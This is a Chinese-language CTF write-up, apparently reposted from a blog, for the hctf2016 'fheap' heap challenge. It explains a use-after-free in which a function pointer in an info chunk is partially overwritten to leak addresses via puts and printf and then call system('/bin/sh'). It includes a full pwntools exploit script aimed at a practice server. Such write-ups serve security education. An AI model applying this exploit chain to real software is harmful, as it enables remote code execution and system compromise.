hctf2016_fheap

保护测略

image-20221121202251995

程序分析

只有两个程序功能,创建和删除

image-20221121202401055

这道题每申请一个chunk前会创造一个用于存放信息的chunk,这类的题一般是控制或改变用于存放信息的chunk来展开攻击,

而且当输入的大小小于0xf时会把信息放到存放信息的chunk中,

image-20221121202556238

漏洞利用

这道题的漏洞就是uaf,但是没有给show功能,但是发现我们可以修改got表,再加上free函数的地址放到存放信息的chunk中,利用小于0xf时会把信息放到存放信息的chunk中,free函数的地址也放到存放信息地chunk这几点来修改got表来达到

1、泄露程序基地址

2、泄露libc地址

3、执行system(/bin/sh)

上面三步基本都一样,所以就讲一下第一个

new(0x60,'\x00')#0  是不是0x60都可以反正是根据输入的大小来决定大小的
new(0x60,'\x00')#1
delete(1)
delete(0)   

因为大小都小于0xf所以都放到存放信息的chunk中,这么做的一个主要原因是这个chunk中有一个程序的地址(执行free的chunk,)而且可以被执行,所以只要修改后一个半的字节就可以改为puts的plt地址用于puts的plt地址(也就是程序中地址)

image-20221121205220207

当有了程序基地址后就可以知道printf的plt地址,基本步骤跟上面一样,执行printf函数实现格式化漏洞攻击的得到libc基地址,然后就是执行system函数

exp

from tools import*

context.log_level='debug'
context.arch='amd64'
def new(size,context):
    p.sendlineafter('3.quit\n','create ')
    p.sendlineafter('Pls give string size:',str(size))
    p.sendafter('str:',context)
def delete(index):
    p.sendlineafter('3.quit\n','delete ')
    p.sendlineafter('id:',str(index))
    p.sendlineafter('Are you sure?:','yes')


def pwn():
    new(0x60,'\x00')#0
    new(0x60,'\x00')#1
            
    delete(1)
    delete(0)   
  
    payload=b'a'*0x18+p64(0xd990)

    new(0x60,payload)
    debug(p,'pie',0xEE7,0xFF0,0xE56)  
    delete(1)
    p.recvuntil(b'a'*0x18)
    leak_addr=u64(p.recv(6).ljust(8,b'\x00'))
    log_addr('leak_addr')
    base_addr=leak_addr-0x990
    log_addr('base_addr')
#leak libc_addr
    delete(0)
    payload=b'%21$p'+b'a'*(0x18-5)+p64(e.plt['printf']+base_addr)
    new(0x60,payload)
    delete(1)
    leak_libc=int(p.recv(14),16)
    libc_base=leak_libc-0x78c0f
    log_addr('libc_base')
    sys_addr=libc_base+libc.symbols['system']

    delete(0)
    payload=b'/bin/sh;'.ljust(0x18,b'a')+p64(sys_addr)
    new(0x60,payload)
    delete(1)
    p.interactive()
while 1:
    try :
        p,e,libc=load('a','node4.buuoj.cn:26630')
        pwn()
    except:
        p.close()


原文地址:http://www.cnblogs.com/trunk/p/16913217.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性